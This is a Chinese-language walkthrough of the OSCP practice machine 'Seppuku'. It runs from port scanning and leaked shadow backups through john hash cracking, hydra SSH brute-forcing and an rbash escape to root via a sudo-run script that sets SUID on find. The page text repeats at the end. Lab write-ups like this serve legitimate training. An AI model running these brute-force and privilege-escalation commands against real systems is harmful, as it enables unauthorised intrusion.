OSCP系列靶场-Esay-Seppuku
字数 1750 2025-08-10 13:48:19

OSCP靶场渗透实战:Seppuku靶机攻防详解

靶机概述

Seppuku是一台难度为"Easy"的OSCP练习靶机,主要考察以下技术点:

  • 目录扫描与敏感信息发现
  • 密码字典利用与SSH爆破
  • rbash受限shell逃逸
  • 内网信息收集与权限提升
  • SUID提权技术

环境准备

攻击机配置:

  • IP地址:192.168.45.188
  • 工具准备:nmap、hydra、dirsearch、wget、ssh等

靶机信息:

  • IP地址:192.168.178.90
  • 开放端口:21(FTP)、22(SSH)、80(HTTP)、139/445(SMB)、7080、7601(HTTP)、8088(HTTP)

信息收集阶段

端口扫描

使用nmap进行全端口扫描:

sudo nmap --min-rate 10000 -p- 192.168.178.90

开放端口详情:

  • 21/tcp: vsftpd 3.0.3
  • 22/tcp: OpenSSH 7.9p1
  • 80/tcp: nginx 1.14.2
  • 139/tcp: Samba smbd 3.X-4.X
  • 445/tcp: Samba smbd 4.9.5-Debian
  • 7080/tcp: empowerid(SSL)
  • 7601/tcp: Apache httpd 2.4.38
  • 8088/tcp: LiteSpeed httpd

服务探测

详细服务版本探测:

sudo nmap -sT -sV -O -sC -p21,22,80,139,445,7080,7601,8088 192.168.178.90

漏洞利用路径

1. HTTP服务探索

7601端口发现:
访问http://192.168.178.90:7601显示一张图片,通过curl获取隐藏信息:

curl http://192.168.178.90:7601

发现关键词"Seppuku",可能是用户名。

目录扫描:

dirsearch -u http://192.168.178.90:7601 -x 302,403

发现重要目录:

  • /secret/ - 包含敏感文件
  • /database/ - 空目录
  • /ckeditor/ - 编辑器界面

敏感文件获取:

wget http://192.168.178.90:7601/secret/passwd.bak
wget http://192.168.178.90:7601/secret/shadow.bak
wget http://192.168.178.90:7601/secret/password.lst
wget http://192.168.178.90:7601/secret/hostname

关键发现:

  • 用户名:rabbit-hole, seppuku
  • rabbit-hole的加密密码:$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt...
  • 密码字典文件password.lst

2. 密码破解

使用john破解shadow.bak:

echo '$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt/HPTYz3Rj7m4bRzovjHxX4WmIMO7rz4j/auR/V.yCPy2MKBLBahX29Y3DWkR6oT..' > pass.hash
john pass.hash

得到rabbit-hole密码:a1b2c3

3. SSH登录尝试

使用rabbit-hole登录:

ssh rabbit-hole@192.168.178.90
密码:a1b2c3

发现权限有限,无重要发现。

使用hydra爆破seppuku用户:

hydra -l seppuku -P password.lst -t 6 -vV 192.168.178.90 ssh -s 22

得到密码:eeyoree

4. 初始访问

登录seppuku用户:

ssh seppuku@192.168.178.90
密码:eeyoree

发现rbash受限shell。

rbash逃逸:

ssh seppuku@192.168.178.90 -p22 -t "bash --noprofile"

然后重置PATH:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

获取第一个flag:

cat /home/seppuku/local.txt

flag: 3dc090a738a7e01f80f592abe2a9e284

权限提升路径

1. 内网信息收集

系统信息:

lsb_release -a
# Debian GNU/Linux 10 (buster)

uname -a
# Linux seppuku 4.19.0-9-amd64

用户信息:

ls -al /home
# 发现用户:samurai, tanto

敏感文件发现:

cat /home/seppuku/.passwd
# 得到密码:12345685213456!@!@A

2. 用户切换

切换到samurai用户:

su samurai
密码:12345685213456!@!@A

检查sudo权限:

sudo -l

输出:

User samurai may run the following commands on seppuku:
    (ALL) NOPASSWD: home/tanto/.cgi_bin/bin /tmp/*

3. tanto用户访问

通过目录扫描发现新的端点,下载获得SSH私钥:

wget http://192.168.178.90:7601/secret/private

使用私钥登录tanto:

chmod 600 private
ssh -i private tanto@192.168.178.90

rbash逃逸:

ssh -i private tanto@192.168.178.90 -p22 -t "bash --noprofile"
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

4. 提权准备

在tanto用户下创建提权文件:

mkdir -p /home/tanto/.cgi_bin
echo '#!/bin/sh
chmod +s /usr/bin/find' > /home/tanto/.cgi_bin/bin
chmod +x /home/tanto/.cgi_bin/bin

5. 最终提权

切换回samurai用户执行:

sudo home/tanto/.cgi_bin/bin /tmp/*

然后使用find提权:

find . -exec /bin/bash -p \; -quit

验证root权限:

id
# uid=1001(samurai) gid=1002(samurai) euid=0(root) egid=0(root) groups=0(root),1002(samurai)

获取root flag:

cat /root/proof.txt

flag: 4a24681381de4d623801b1e8cb243a64

技术要点总结

  1. 目录扫描重要性

    • 使用多个工具扫描(如dirsearch)
    • 检查所有可能的端点,包括隐藏目录
  2. 密码安全

    • 系统备份文件(passwd.bak, shadow.bak)可能泄露用户信息
    • 密码字典(password.lst)可用于爆破其他服务
  3. 受限shell逃逸

    • 使用-t "bash --noprofile"绕过rbash限制
    • 重置PATH环境变量恢复完整功能
  4. 权限提升路径

    • 检查所有用户的sudo权限(sudo -l)
    • 利用可写目录创建提权脚本
    • SUID提权是Linux系统的常见突破口
  5. 信息关联

    • 将发现的密码尝试用于所有可能的服务
    • 注意隐藏文件(如.passwd)可能包含关键信息

改进建议

  1. 使用多个目录扫描工具确保覆盖率
  2. 对发现的每个用户尝试密码复用
  3. 更系统地检查sudo权限和SUID文件
  4. 在内网信息收集中注意文件权限和隐藏目录

此靶机完整展示了从信息收集到最终提权的完整渗透流程,强调了细致枚举和关联分析的重要性。

OSCP靶场渗透实战:Seppuku靶机攻防详解 靶机概述 Seppuku是一台难度为"Easy"的OSCP练习靶机,主要考察以下技术点: 目录扫描与敏感信息发现 密码字典利用与SSH爆破 rbash受限shell逃逸 内网信息收集与权限提升 SUID提权技术 环境准备 攻击机配置: IP地址:192.168.45.188 工具准备:nmap、hydra、dirsearch、wget、ssh等 靶机信息: IP地址:192.168.178.90 开放端口:21(FTP)、22(SSH)、80(HTTP)、139/445(SMB)、7080、7601(HTTP)、8088(HTTP) 信息收集阶段 端口扫描 使用nmap进行全端口扫描: 开放端口详情: 21/tcp: vsftpd 3.0.3 22/tcp: OpenSSH 7.9p1 80/tcp: nginx 1.14.2 139/tcp: Samba smbd 3.X-4.X 445/tcp: Samba smbd 4.9.5-Debian 7080/tcp: empowerid(SSL) 7601/tcp: Apache httpd 2.4.38 8088/tcp: LiteSpeed httpd 服务探测 详细服务版本探测: 漏洞利用路径 1. HTTP服务探索 7601端口发现: 访问http://192.168.178.90:7601显示一张图片,通过curl获取隐藏信息: 发现关键词"Seppuku",可能是用户名。 目录扫描: 发现重要目录: /secret/ - 包含敏感文件 /database/ - 空目录 /ckeditor/ - 编辑器界面 敏感文件获取: 关键发现: 用户名:rabbit-hole, seppuku rabbit-hole的加密密码: $6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt... 密码字典文件password.lst 2. 密码破解 使用john破解shadow.bak: 得到rabbit-hole密码:a1b2c3 3. SSH登录尝试 使用rabbit-hole登录: 发现权限有限,无重要发现。 使用hydra爆破seppuku用户: 得到密码:eeyoree 4. 初始访问 登录seppuku用户: 发现rbash受限shell。 rbash逃逸: 然后重置PATH: 获取第一个flag: flag: 3dc090a738a7e01f80f592abe2a9e284 权限提升路径 1. 内网信息收集 系统信息: 用户信息: 敏感文件发现: 2. 用户切换 切换到samurai用户: 检查sudo权限: 输出: 3. tanto用户访问 通过目录扫描发现新的端点,下载获得SSH私钥: 使用私钥登录tanto: rbash逃逸: 4. 提权准备 在tanto用户下创建提权文件: 5. 最终提权 切换回samurai用户执行: 然后使用find提权: 验证root权限: 获取root flag: flag: 4a24681381de4d623801b1e8cb243a64 技术要点总结 目录扫描重要性 : 使用多个工具扫描(如dirsearch) 检查所有可能的端点,包括隐藏目录 密码安全 : 系统备份文件(passwd.bak, shadow.bak)可能泄露用户信息 密码字典(password.lst)可用于爆破其他服务 受限shell逃逸 : 使用 -t "bash --noprofile" 绕过rbash限制 重置PATH环境变量恢复完整功能 权限提升路径 : 检查所有用户的sudo权限(sudo -l) 利用可写目录创建提权脚本 SUID提权是Linux系统的常见突破口 信息关联 : 将发现的密码尝试用于所有可能的服务 注意隐藏文件(如.passwd)可能包含关键信息 改进建议 使用多个目录扫描工具确保覆盖率 对发现的每个用户尝试密码复用 更系统地检查sudo权限和SUID文件 在内网信息收集中注意文件权限和隐藏目录 此靶机完整展示了从信息收集到最终提权的完整渗透流程,强调了细致枚举和关联分析的重要性。